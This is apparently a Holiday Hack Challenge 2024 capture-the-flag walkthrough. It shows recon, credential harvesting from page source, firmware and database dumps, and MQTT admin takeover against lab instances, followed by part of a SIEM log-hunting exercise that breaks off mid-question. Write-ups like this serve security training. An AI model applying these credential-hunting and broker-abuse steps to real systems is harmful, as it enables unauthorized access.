Act 3⚓︎
Story of Act 3:
Now Wombley's gone and gotten the Naughty-Nice list ransomwared! Santa is not pleased...
Maybe Fitzy, Ribb, and Tangle can help mend the situation.
Thank you dear player for bringing peace and order back to the North Pole!
Please talk to Santa in the castle.
Upon teleporting to Act 3, we are teleported to the Front Yard (Act 3) and obtain 4 fresh new objectives and Santa!
We also have access to the map!
Santa Vision⚓︎
Alabaster and Wombley have poisoned the Santa Vision feeds! Knock them out to restore everyone back to their regularly scheduled programming.
After navigating South to Ribb Bonbowford, we obtain information on our next challenge of Santa Vision.
Ribb Bonbowford
The Santa Broadcast Network (SBN) has been hijacked by Wombley's goons—they're using it to spread propaganda and recruit elves! And Alabaster joined in out of necessity. Quite the predicament, isn’t it? To access this challenge, use this terminal to access your own instance of the SantaVision infrastructure.
After clicking on the terminal challenge, we are presented the Santa Vision homepage, with the GateXOR that will allow us to spawn our own instance of the challenge environment.
There are 4 challenge questions we need to complete for the full completion.
GateXOR Initialization⚓︎
Clicking on GateXOR in the bottom-right, and clicking "Time Travel" - we obtain our target IP (will be different for everyone).
We can find more information about this by clicking on About.
Santa Vision Challenge A⚓︎
What username logs you into the SantaVision portal?
When speaking with Ribb Bonbowford, we obtain the following hints:
Misplaced Credentials
See if any credentials you find allow you to subscribe to any MQTT feeds.
Filesystem Analysis
jefferson is great for analyzing JFFS2 file systems.
Database Pilfering
Consider checking any database files for credentials...
Mosquito Mosquitto
Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MQTTX
Santa Vision Challenge A (Silver)⚓︎
Performing an NMAP scan, we obtain 4 open ports on the environment.
Nmap scan report for 104.197.232.1
Host is up (0.052s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 7d:af:99:19:b8:5a:e4:8c:ed:f9:2d:49:5a:6e:4d:9a (ECDSA)
|_ 256 1d:b7:5c:53:13:c8:72:ee:7c:8a:8f:4b:dd:a0:8a:db (ED25519)
1883/tcp open mqtt
|_mqtt-subscribe: Connection rejected: Not Authorized
8000/tcp open http-alt gunicorn
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Tue, 31 Dec 2024 20:49:30 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 1820
| Vary: Cookie
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Santa Vision</title>
| <!-- meta -->
| <meta name="description" content="">
| <meta name="author" content="">
| <meta name="viewport" content="width=device-width,initial-scale=1">
| <!-- styles -->
| <!-- CSS only -->
| <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
| <link rel="stylesheet" href="/static/css/styles.css">
| </head>
| <body>
| <!-- Navigation -->
| <header class="p-3 mb-3 text-bg-dark">
| <div class="container">
| <div class="d-flex flex-
| GenericLines:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 193
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid Request Line 'Invalid HTTP request line: '''
| </body>
| </html>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Tue, 31 Dec 2024 20:49:25 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 2946
| Vary: Cookie
| Set-Cookie: svCookie=02tEkIMVw5CV6fxgxXhvFHsY5qxMzN-_Cof5U21t3-w; Expires=Fri, 31 Jan 2025 20:49:25 GMT; HttpOnly; Path=/
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Santa Vision</title>
| <!-- meta -->
| <meta name="description" content="">
| <meta name="author" content="">
| <meta name="viewport" content="width=device-width,initial-scale=1">
| <!-- styles -->
| <!-- CSS only -->
| <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
| <link rel="stylesheet" href="/static/css/styles.css">
| </head>
|_ <body>
|_http-title: Santa Vision
9001/tcp open
| fingerprint-strings:
| JavaRMI, Radmin, SSLSessionReq, SSLv23SessionReq, TLSSessionReq, mongodb, tarantool:
| HTTP/1.0 403 Forbidden
| content-type: text/html
| content-length: 173
|_ <html><head><meta charset=utf-8 http-equiv="Content-Language" content="en"/><link rel="stylesheet" type="text/css" href="/error.css"/></head><body><h1>403</h1></body></html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Browsing to the website on port 8000, we get to a login page:
Inspecting the HTML source of the login page, we identify a MQTT credential elfanon:elfanon
in a comment and a MQTT topic of sitestatus
:
<div class="footer" id="footer">
<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.<br>(<i>topic 'sitestatus'</i> available.)</b>
</div> <!-- mqtt: elfanon:elfanon -->
These credentials elfanon:elfanon
work successfuly on the login page of the webpage hosted on port 8000 and get redirected to http://104.197.232.1:8000/auth?id=viewer&loginName=elfanon
.
After submitting the answer elfanon
in the objectives tab, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] SantaVision A challenge!
Santa Vision Challenge A (Gold)⚓︎
When speaking with Ribb Bonbowford after the silver completion, he reveals a hint for gold:
Ribb Bonbowford
(Gold hint) Stay curious. Sometimes, the smallest details—often overlooked—hold the keys to the kingdom. Pay close attention to what’s hidden in the source.
MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimize network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging "machine-to-machine" (M2M) or "Internet of Things" world of connected devices, and for mobile applications where bandwidth and battery power are at a premium.
We can utilize MQTTX-CLI to connect to the service. Lets install it first:
sudo wget -O /usr/local/bin/mqttx 'https://github.com/emqx/MQTTX/releases/latest/download/mqttx-cli-linux-x64'
sudo chmod +x /usr/local/bin/mqttx
Subscribing to sitestatus
feed utilizing the credentials elfanon:elfanon
and topic sitestatus
found in the HTML source of the previous challenge, we identify a file download:
mqttx init
? Select MQTTX CLI output mode Text
? Select the default MQTT protocol MQTT
? Enter the default MQTT broker host 104.197.232.1
? Enter the default MQTT port 1883
? Enter the maximum reconnect times for MQTT connection 10
? Enter the default username for MQTT connection authentication elfanon
? Enter the default password for MQTT connection authentication elfanon
Configuration file created/updated at /home/kali/.mqttx-cli/config
mqttx sub -t sitestatus
✔ Connected
✔ Subscribed to sitestatus
topic: sitestatus, qos: 0
File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
We can download it and inspect it further and appears to be a Linux filesystem.
wget http://104.197.232.1:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
file applicationDefault.bin
applicationDefault.bin: Linux jffs2 filesystem data little endian
We can use the JFFS2 filesystem extraction tool jefferson like the hint suggests:
Installing jefferson
:
Extracting image:
jefferson -d out applicationDefault.bin
dumping fs to ./out (endianness: <)
Jffs2_raw_inode count: 47
Jffs2_raw_dirent count: 47
writing S_ISREG .bashrc
writing S_ISREG .profile
writing S_ISDIR app
writing S_ISDIR app/src
writing S_ISREG app/src/__init__.py
writing S_ISDIR app/src/accounts
writing S_ISDIR app/src/core
writing S_ISDIR app/src/static
writing S_ISDIR app/src/templates
writing S_ISREG app/src/accounts/__init__.py
writing S_ISREG app/src/accounts/forms.py
writing S_ISREG app/src/accounts/models.py
writing S_ISREG app/src/accounts/views.py
writing S_ISREG app/src/core/__init__.py
writing S_ISREG app/src/core/views.py
writing S_ISDIR app/src/static/DB
writing S_ISREG app/src/static/DS-DIGI.TTF
writing S_ISDIR app/src/static/css
writing S_ISDIR app/src/static/images
writing S_ISDIR app/src/static/js
writing S_ISREG app/src/static/css/styles.css
writing S_ISREG app/src/static/images/login-bg.png
writing S_ISREG app/src/static/images/login.jpg
writing S_ISREG app/src/static/images/logo.png
writing S_ISREG app/src/static/images/monitor1.png
writing S_ISREG app/src/static/images/monitor2.png
writing S_ISREG app/src/static/images/monitor3.png
writing S_ISREG app/src/static/images/monitor4.png
writing S_ISREG app/src/static/images/monitoroff.png
writing S_ISREG app/src/static/images/monitors.png
writing S_ISREG app/src/static/images/nofeed.png
writing S_ISREG app/src/static/images/noimage.png
writing S_ISREG app/src/static/js/jquery.min.js
writing S_ISREG app/src/static/js/mqttJS.js
writing S_ISREG app/src/templates/_base.html
writing S_ISDIR app/src/templates/accounts
writing S_ISDIR app/src/templates/core
writing S_ISDIR app/src/templates/errors
writing S_ISREG app/src/templates/navigation.html
writing S_ISREG app/src/templates/accounts/login.html
writing S_ISREG app/src/templates/accounts/no-token.html
writing S_ISREG app/src/templates/core/index.html
writing S_ISREG app/src/templates/core/invalid-token.html
writing S_ISREG app/src/templates/core/no-token.html
writing S_ISREG app/src/templates/errors/401.html
writing S_ISREG app/src/templates/errors/404.html
writing S_ISREG app/src/templates/errors/500.html
Within app/src/core/views.py
, there are administrative functions with hardcoded MQTT admin credentials of SantaBrokerAdmin:8r0k3R4d1mp455wD
@login_required
def deleteBrokerClients(name): #Delete Player Broker Clients
try:
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"deleteClient\",\"username\": \""+name+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
except:
pass
@login_required
def deleteBrokerRoleAcl(PlyrRole,PlyrTopic): #Delete Player Broker Role ACL from Player Topic
try:
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"removeRoleACL\",\"rolename\": \""+PlyrRole+"\",\"acltype\": \"subscribeLiteral\",\"topic\": \""+PlyrTopic+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
except:
pass
@login_required
def deleteBrokerRole(PlyrRole): #Delete Player Broker Role
try:
mqttPublish.single("$CONTROL/dynamic-security/v1","{\"commands\":[{\"command\": \"deleteRole\",\"rolename\": \""+PlyrRole+"\"}]}",hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
except:
pass
Within app/src/accounts/views.py
, there is a reference to a SQLite database:
@accounts_bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"])
def db():
return send_from_directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as_attachment=True)
We can download and dump the SQLite database and see a credential: santaSiteAdmin:S4n+4sr3411yC00Lp455wd
file SantasTopSecretDB-2024-Z.sqlite
SantasTopSecretDB-2024-Z.sqlite: SQLite 3.x database, last written using SQLite version 3046000, file counter 16, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 16
sqlite3 SantasTopSecretDB-2024-Z.sqlite .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE alembic_version (
version_num VARCHAR(32) NOT NULL,
CONSTRAINT alembic_version_pkc PRIMARY KEY (version_num)
);
INSERT INTO alembic_version VALUES('7351a35fa22f');
CREATE TABLE users (
id INTEGER NOT NULL,
username VARCHAR NOT NULL,
password VARCHAR NOT NULL,
created_on DATETIME NOT NULL,
is_admin BOOLEAN NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO users VALUES(1,'santaSiteAdmin','S4n+4sr3411yC00Lp455wd','2024-01-23 06:05:29.466071',1);
COMMIT;
These credentials santaSiteAdmin:4sr3411yC00Lp455wd
work successfully on the login page of the webpage hosted on port 8000 and get redirected to http://104.197.232.1:8000/auth?id=viewer&loginName=santaSiteAdmin
.
After submitting the answer santaSiteAdmin
in the objectives tab, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] SantaVision A challenge!
Santa Vision Challenge B⚓︎
Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the northpolefeeds
on the monitors. What username worked here?
Santa Vision Challenge B (Silver)⚓︎
Clicking on List Available Clients provides us with a message of: Available clients: 'elfmonitor', 'WomblyC', 'AlabasterS'
Clicking on List Available Roles provides us with a message of: Available roles: 'SiteDefaultPasswordRole', 'SiteElfMonitorRole', 'SiteAlabsterSAdminRole', 'SiteWomblyCAdminRole'
We connect as elfmonitor
(per client listing) with the password SiteElfMonitorRole
(per role listing). We connect to the Camera Feed Server on 104.197.232.1
and Camera Feed Port 9001
and set the broadcast feed to northpolefeeds
(per the challenge description) and get connected! We first Power On Monitors and then Connect to broadcast feed to display the camera feed. When powering on the monitors, it opens up a HTTP connection that upgrades to a WebSocket connection to the camera feed server at http://104.197.232.1:9001/mqtt
.
After submitting the answer elfmonitor
in the objectives tab, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] SantaVision B challenge!
Santa Vision Challenge B (Gold)⚓︎
When speaking with Ribb Bonbowford after the silver completion, he reveals a hint for gold:
Ribb Bonbowford
(Gold hint) Look beyond the surface. Headers and subtle changes might just open new doors. Pay close attention to everything as you log in.
Using Burp Suite Comparer tool to compare the two HTTP responses of /auth
from logging in as elfanon:elfanon
to logging in as santaSiteAdmin:S4n+4sr3411yC00Lp455wd
, we find two extra headers in the response:
As shown in the image below of the Burp Suite Comparer tool:
These credentials work to connect to the MQTT service on port 9001 with the topic northpolefeeds
. Note: The password is different on every instance of the challenge.
After submitting the answer santashelper2024
in the objectives tab, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] SantaVision B challenge!
Santa Vision Challenge C⚓︎
Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed
MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
When speaking again with Ribb Bonbowford, we obtain the following hints:
Looking Deeper
Discovering the credentials will show you the answer, but will you see it?
Santa Vision Challenge C (Silver)⚓︎
We can utilize MQTTX to connect to the service, lets showcase the GUI mode first:
Trying elfanon:elfanon
, however are unable to subscribe to the frostbitfeed
MQTT topic:
Trying elfmonitor:SiteElfMonitorRole
, we are able to subscribe to the frostbitfeed
MQTT topic:
One of the messages mentions the santafeed
MQTT topic:
Additional messages available in santafeed
We can subscribe to the santafeed
MQTT topic in MQTTX GUI:
We can also utilize MQTTX-CLI to connect to the service and subscribe to the santafeed
MQTT topic:
mqttx init
? Select MQTTX CLI output mode Text
? Select the default MQTT protocol MQTT
? Enter the default MQTT broker host 104.197.232.1
? Enter the default MQTT port 1883
? Enter the maximum reconnect times for MQTT connection 10
? Enter the default username for MQTT connection authentication elfmonitor
? Enter the default password for MQTT connection authentication SiteElfMonitorRole
Configuration file created/updated at /home/kali/.mqttx-cli/config
mqttx sub -t santafeed
✔ Connected
✔ Subscribed to santafeed
topic: santafeed, qos: 0
Santa is on his way to the North Pole
topic: santafeed, qos: 0
Sixteen elves launched operation: Idemcerybu
topic: santafeed, qos: 0
superAdminMode=true
We identify superAdminMode=true
and singleAdminMode=false
as some parameters. In addition, we can see from the message Sixteen elves launched operation: Idemcerybu
that the code name for the elves' secret operation is Idemcerybu
After submitting the answer Idemcerybu
in the objectives tab, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] SantaVision C challenge!
Santa Vision Challenge C (Gold)⚓︎
When speaking with Ribb Bonbowford after the silver completion, he reveals a hint for gold:
Ribb Bonbowford
(Gold hint) Sometimes the answers are in the quiet moments. Pay attention to every feed and signal—you may find what you're looking for hidden deep in the streams.
Analyzing the previous challenge answer - elves' secret operation Idemcerybu
... This could be encoded using a cipher. We identified the correct one to be ROT10 and used CyberChef with the ROT13 recipe to decode the answer: Snowmobile
After submitting the answer Snowmobile
in the objectives tab, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] SantaVision C challenge!
Santa Vision Challenge D⚓︎
There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds
feed. What type of contraption do you see Santa on?
Santa Vision Challenge D (Silver)⚓︎
SendingsingleAdminMode=true
to the santafeed
changes the monitor images as the elfmonitor
user.
If we monitor the northpolefeeds
topic, it changes the images to serve from hhc2024santatopsecreteasyimages376919542
:
Before:
./static/images/monitor1.png,./static/images/monitor2.png,./static/images/monitor3.png,./static/images/monitor4.png,./static/images/monitor5.png,./static/images/monitor6.png,./static/images/monitor7.png,./static/images/monitor8.png
After:
./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-1.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-2.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-3.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-4.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-5.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-6.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-7.png,./static/images/hhc2024santatopsecreteasyimages376919542/santa376919542-8.png
This results in new images of Santa on a pogo stick:
After submitting the answer pogo stick
in the objectives tab, we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] SantaVision D challenge!
Santa Vision Challenge D (Gold)⚓︎
When speaking with Ribb Bonbowford after the silver completion, he reveals a hint for gold:
Ribb Bonbowford
(Gold hint) Think about the kind of ride Santa would take in a world filled with innovation. His vehicle of choice might surprise you—pay attention to the futuristic details.
SendingsingleAdminMode=true
to the santafeed
changes the monitor images as the santashelper2024
user.
CLI MQTTX:
mqttx init
? Select MQTTX CLI output mode Text
? Select the default MQTT protocol MQTT
? Enter the default MQTT broker host 104.197.232.1
? Enter the default MQTT port 1883
? Enter the maximum reconnect times for MQTT connection 10
? Enter the default username for MQTT connection authentication santashelper2024
? Enter the default password for MQTT connection authentication *******************************
Configuration file created/updated at /home/kali/.mqttx-cli/config
mqttx pub -t santafeed -m 'singleAdminMode=true'
✔ Connected
✔ Message published
mqttx sub -t northpolefeeds
✔ Connected
✔ Subscribed to northpolefeeds
topic: northpolefeeds, qos: 0
./static/images/hhc2024santatopsecretimages835826406/santa835826406-1.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-2.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-3.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-4.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-5.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-6.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-7.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-8.png
Graphical MQTTX:
If we monitor the northpolefeeds
topic, it changes the images to serve from hhc2024santatopsecretimages835826406
:
Before:
./static/images/monitor1.png,./static/images/monitor2.png,./static/images/monitor3.png,./static/images/monitor4.png,./static/images/monitor5.png,./static/images/monitor6.png,./static/images/monitor7.png,./static/images/monitor8.png
After:
./static/images/hhc2024santatopsecretimages835826406/santa835826406-1.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-2.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-3.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-4.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-5.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-6.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-7.png,./static/images/hhc2024santatopsecretimages835826406/santa835826406-8.png
This results in new images of Santa on a hovercraft:
After submitting the answer hovercraft
in the objectives tab, we obtain the gold challenge award.
Achievement
Congratulations! You have completed the [Gold] SantaVision D challenge!
Elf Stack⚓︎
Help the ElfSOC analysts track down a malicious attack against the North Pole domain.
Navigating to the North-West point on the map to Fitzy Shortstack, we obtain information on our next challenge of Elf Stack.
When speaking with Fitzy Shortstack, we obtain the following hints:
Elf Stack Intro
I'm part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!
Elf Stack Fields
If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.
Elf Stack WinEvent
One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.
Elf Stack PowerShell
Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.
Elf Stack Hard - Email1
I was on my way to grab a cup of hot chocolate the other day when I overheard the reindeer talking about playing games. The reindeer mentioned trying to invite Wombley and Alabaster to their games. This may or may not be great news. All I know is, the reindeer better create formal invitations to send to both Wombley and Alabaster.
Elf Stack Hard - Email2
Some elves have tried to make tweaks to the Elf Stack log parsing logic, but only a seasoned SIEM engineer or analyst may find that task useful.
After clicking on the terminal challenge, we are presented with some quick start instructions followed by the Elf Stack welcome page where we can select our difficulty (Easy / Hard), download required files, and get help.
Welcome to Elf Stack! Here are some quick instructions to help you get started:
- Select a mode and click "Start Challenge" to begin.
- Use the "Back to Main Page" button to return to the main menu and restart your session.
- Click "Download" to download log files or containerized SIEM files.
- Access detailed help anytime by clicking the "Help" button.
Initialization⚓︎
The Download button provides us with the required file links to download. Lets do that now:
wget https://hhc24-elfstack.holidayhackchallenge.com/download_file/log_chunk_2.log.zip
wget https://hhc24-elfstack.holidayhackchallenge.com/download_file/elf-stack-siem-with-logs.zip
wet https://hhc24-elfstack.holidayhackchallenge.com/download_file/log_chunk_1.log.zip
find . -name '*.zip' -exec unzip {} \;
ls -la
drwx------ kali kali 4.0 KB Wed Oct 9 17:13:00 2024 elf-stack-siem
.rwx------ kali kali 74 MB Thu Oct 10 11:13:38 2024 elf-stack-siem-with-logs.zip
.rwx------ kali kali 1.7 GB Tue Oct 1 18:22:01 2024 log_chunk_1.log
.rwx------ kali kali 38 MB Tue Oct 8 14:59:16 2024 log_chunk_1.log.zip
.rwx------ kali kali 1.7 GB Tue Oct 1 18:26:37 2024 log_chunk_2.log
.rwx------ kali kali 36 MB Tue Oct 8 14:59:16 2024 log_chunk_2.log.zip
The Help button provides us with a description of the challenge options and Elf Stack SIEM. There are is a Easy Mode (Silver) and Hard Mode (Gold) we need to complete for the full completion. Lets build the ELK Stack using Docker:
Per the elf-stack-siem/docker-compose.yml
file:
elasticsearch
uses TCP ports 9200 and 9300logstash
uses TCP ports 1514kibana
uses TCP port 5601
Lets create our ELF Stack SIEM via docker:
It automatically ingests the logs and takes about 20-30 minutes.
Logging in with elastic:ELFstackLogin!
at http://localhost:5601
and head to Analytics -> Discover where we can see all 2.3 million data points available for analyzing.
Elf Stack Easy Mode (Silver)⚓︎
Q1: How many unique values are there for the event_source
field in all logs?
cat *.log | cut -d ' ' -f4 | sort | uniq -c | sort -n
269 AuthLog
1398 SnowGlowMailPxy
7476 GreenCoat
34679 NetflowPmacct
2299324 WindowsEvent
Elf Stack SIEM: We can use the Field statistics and check the event_source
field, and click on the Action button to the right of the field that will Explore in Lens
. We can then see the top 10 values and change the view to Tabular.
Answer: 5
Q2: Which event_source
has the fewest number of events related to it?
See Easy Mode (Silver) question 2.
Answer: AuthLog
Q3: Using the event_source
from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
cat *.log | grep 'AuthLog' | head -n1
<134>1 2024-09-15T00:10:01-04:00 kringleSSleigH AuthLog - - - {"timestamp": "2024-09-15T03:10:01.304953-04:00", "hostname": "kringleSSleigH", "service": "CRON[4863]:", "message": "pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)"}
Elf Stack SIEM: We can use the Toggle dialog with details to see all the fields and find the exact one being event.hostname
Answer: event.hostname
Q4: Which event_source
has the second highest number of events related to it?
See Easy Mode (Silver) question 2.
Answer: NetflowPmacct
Q5: Using the event_source
from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?
cat *.log | grep 'NetflowPmacct' | head -n1
<134>1 2024-09-15T10:37:43-04:00 kringleconnect NetflowPmacct - - - {"event_type": "purge", "ip_src": "172.24.25.93", "ip_dst": "172.24.25.25", "port_src": 29994, "port_dst": 808, "ip_proto": "tcp", "timestamp_start": "2024-09-15T10:37:43-04:00", "timestamp_end": "0000-00-00T00:00:00-00:00", "packets": 1, "bytes": 40, "src_host": "SnowSentry.northpole.local", "dst_host": ""}
Elf Stack SIEM: We can use the Toggle dialog with details to see all the fields and find the exact one being event.port_dst
Answer: event.port_dst
Q6: Which event_source
is related to email traffic?
cat *.log | grep 'SnowGlowMailPxy' | head -n 1
<134>1 2024-09-15T08:26:14-04:00 SecureElfGwy SnowGlowMailPxy - - - {"From": "elf_user00@northpole.local", "To": "asnowball04@northpole.local", "Subject": "Welcome to the North Pole!", "Date": null, "Message-ID": "<532A9346-9F5F-4C29-BD40-CA171DD0E7DE@SecureElfGwy.northpole.local>", "Return-Path": "elf_user00@northpole.local", "Body": "Dear asnowball04,\n\nI wanted to inform you that we have a new team member joining us, [New Hire]. They will be joining our department as [Job Title]. Please extend a warm welcome and assist them with any necessary introductions and onboarding processes.\n\nLooking forward to working together!\n\nBest regards,\nelf_user00\n", "Received_Time": "2024-09-15T08:26:14-04:00", "ReceivedIP1": "172.24.25.25", "ReceivedIP2": "172.24.25.20"}
Elf Stack SIEM: We can use the Toggle dialog with details to see all the fields and find the exact one being event.Body
where it has the email message body text.
Answer: SnowGlowMailPxy
Q7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
See Easy Mode (Silver) question 6.
Answer: event.Body
Q8: Using the GreenCoat event_source
, what is the only value in the hostname field?
Elf Stack SIEM: We can use the Toggle dialog with details to see all the fields and find the exact one being event.hostname
where it contains the only value.
Answer: SecureElfGwy
Q9: Using the GreenCoat event_source
, what is the name of the field that contains the site visited by a client in the network?
cat *.log | grep 'GreenCoat' | cut -d ' ' -f8- | head -n1 | jq -r
{
"ip": "172.24.25.93",
"user_identifier": "elf_user03",
"timestamp": "2024-09-15T05:57:55-04:00",
"method": "CONNECT",
"url": "disc601.prod.do.dsp.mp.microsoft.com:443",
"http_protocol": "HTTP/1.1",
"status_code": 200,
"response_size": 0,
"protocol": "HTTPS",
"additional_info": "outgoing via 172.24.25.25",
"host": "SnowSentry"
}
Elf Stack SIEM: We can use the Toggle dialog with details to see all the fields and find the exact one being event.url
where it contains the site URL the client visited.
Answer: event.url
Q10: Using the GreenCoat event_source
, which unique URL and port (URL:port
) did clients in the TinselStream network visit most?
cat *.log | grep 'GreenCoat' | cut -d ' ' -f8- | jq -r .url | sort | uniq -c | sort -rn | head -n1
150 pagead2.googlesyndication.com:443
Elf Stack SIEM: We can use the Field statistics and check the event.url
field, where the top value is listed on 5,000 sample records.
Answer: pagead2.googlesyndication.com:443
Q11: Using the WindowsEvent event_source
, how many unique Channels is the SIEM receiving Windows event logs from?
cat *.log | grep 'WindowsEvent' | cut -d ' ' -f8- | jq -r '.Channel // empty' | sort | uniq -c | sort -n
50 Windows PowerShell
191 System
11751 Microsoft-Windows-PowerShell/Operational
17713 Microsoft-Windows-Sysmon/Operational
2268402 Security
Elf Stack SIEM: We can use the Field statistics and check the event.Channel
field, and click on the Action button to the right of the field that will Explore in Lens
. We can then see the top 10 values and change the view to Tabular.
Answer: 5
Q12: What is the name of the event.Channe
l (or Channel
) with the second highest number of events?
See Easy Mode (Silver) question 11.
Answer: Microsoft-Windows-Sysmon/Operational
Q13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
Per Microsoft - Sysinternals Sysmon Events, Event ID 6: Driver loaded - Logs when a driver is loaded, including details about its signing status.
Answer: 6
Q14: What is the Windows event ID that is recorded when a new service is installed on a system?
Per UltimateWindowSecurity -Log Events, Event ID 4697: A service was installed in the system.
Answer: 4697
Q15: Using the WindowsEvent event_source
as your initial filter, how many user accounts were created?
Per Windows Security Log Events, Event ID 4720: A user account was created.
Elf Stack SIEM: We can use the +
button on the top-right to add a new filter on the event.EventRecordID
field for the specific value of 4720
. However, no results.
Answer: 0
After submitting the last answer - Congratulations! Your results have been recorded.
, and we obtain the silver challenge award.
Achievement
Congratulations! You have completed the [Silver] Elf Stack challenge!
Elf Stack Hard Mode (Gold)⚓︎
Q1: What is the event.EventID
number for Sysmon event logs relating to process creation?
Per Microsoft - Sysinternals Sysmon Events, Event ID 1: Process creation - Logs when a process is created, including command line arguments and parent process information.
Answer: 1
Q2: How many unique values are there for the event_source
field in all of the logs?
See Easy Mode (Silver) question 1.
Answer: 5
Q3: What is the event_source
name that contains the email logs?
See Easy Mode (Silver) question 6.
Answer: SnowGlowMailPxy
Q4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event From:
field for this email log event.
{
"From": "kriskring1e@northpole.local",
"To": "elf_user02@northpole.local",
"Subject": "URGENT!",
"Date": null,
"Message-ID": "<F3483D7F-3DBF-4A92-813D-4D9738479E50@SecureElfGwy.northpole.local>",
"Return-Path": "fr0sen@hollyhaven.snowflake",
"Body": "We need to store the updated naughty and nice list somewhere secure. I posted it here http://hollyhaven.snowflake/howtosavexmas.zip. Act quickly so I can remove the link from the internet! I encrypted it with the password: n&nli$t_finAl1\n\nthx!\nkris\n- Sent from the sleigh. Please excuse any Ho Ho Ho's.",
